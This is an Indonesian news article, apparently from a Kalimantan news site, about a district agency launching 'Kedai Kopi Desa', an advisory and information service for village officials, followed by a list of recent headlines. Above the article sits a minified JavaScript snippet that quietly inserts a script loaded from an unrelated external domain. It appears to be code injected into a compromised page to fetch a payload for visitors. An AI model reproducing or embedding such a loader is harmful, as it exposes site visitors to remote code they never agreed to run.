(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Luncurkan “Kedai Kopi Desa”, Upaya DPMD HSU Membina Pemerintahan Desa


AMUNTAI, Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) membuat sebuah inovasi dalam pembinaan terhadap pemerintah desa yaitu berupa layanan “Kedai Kopi Desa” alias klinik edukasi, assistensi, konsultasi dan pusat informasi desa.

Progam “Kedai Kopi Desa” diluncurkan secara resmi Bupati HSU yang diwakili Asisten Bidang Pemerintahan dan Kesra, H Soepomo Selasa (7/5/2019) yang dihadiri oleh seluruh camat kepala seksi pemerintahan kecamatan dan ketua persatuan kepala desa se Kabupaten HSU.

Program teranyar ini akan memberikan layanan edukasi asistensi konsultasi dan informasi kepada para aparat desa kepada kepala desa dan perangkat lainnya, aparat kecamatan maupun masyarakat umum.

“Adanya layanan “kedai kopi desa” diharapkan dapat meningkatkan pemahaman aparat desa terhadap regulasi terkait tata kelola pemerintahan desa, sehingga risiko pelanggaran karena ketidaktahuan bisa diminimalisir,” ungkap Rizali Hadi, Kepala Bidang Pemerintahan Desa DPMD HSU sekaligus Ketua Tim Layanan “Kedai Kopi Desa” kepada kanalkalimantan.com, Rabu (8/5).

Ia menambahkan, DPMD Kabupaten HSU akan terus berupaya meningkatkan kualitas layanan “Kedai Kopi Desa” dengan melengkapi sarana dan prasarana penunjang serta bekerja sama dengan tenaga ahli P3MD Kabupaten HSU selaku narasumber pendamping.

Sejak program dana desa diselenggarakan pada tahun 2015, masih ada beberapa perbaikan dan perkembangan di beberapa sektor, salah satunya adalah pengetahuan dan pemahaman terkait pengelolaan dana desa.

“Karena itu, di tahun keempat penyelenggaraan dana desa ini masih ada perangkat desa yang bermasalah dengan hukum,” akunya.

Oleh karenya, layanan “Kedai Kopi Desa” sangat penting untuk dilaksanakan mengingat pemerintahan desa merupakan ujung tombak pemerintahan yang langsung  berhadapan dengan masyarakat. “Pengetahuan, kemampuan dan keterampilan yang baik menjadi hal utama yang harus dimiliki oleh kepala desa atau penyelenggara pemerintahan desa,” pungkasnya. (dew)

Reporter:Dew
Editor:Bie

Desy Arfianty

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

16 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.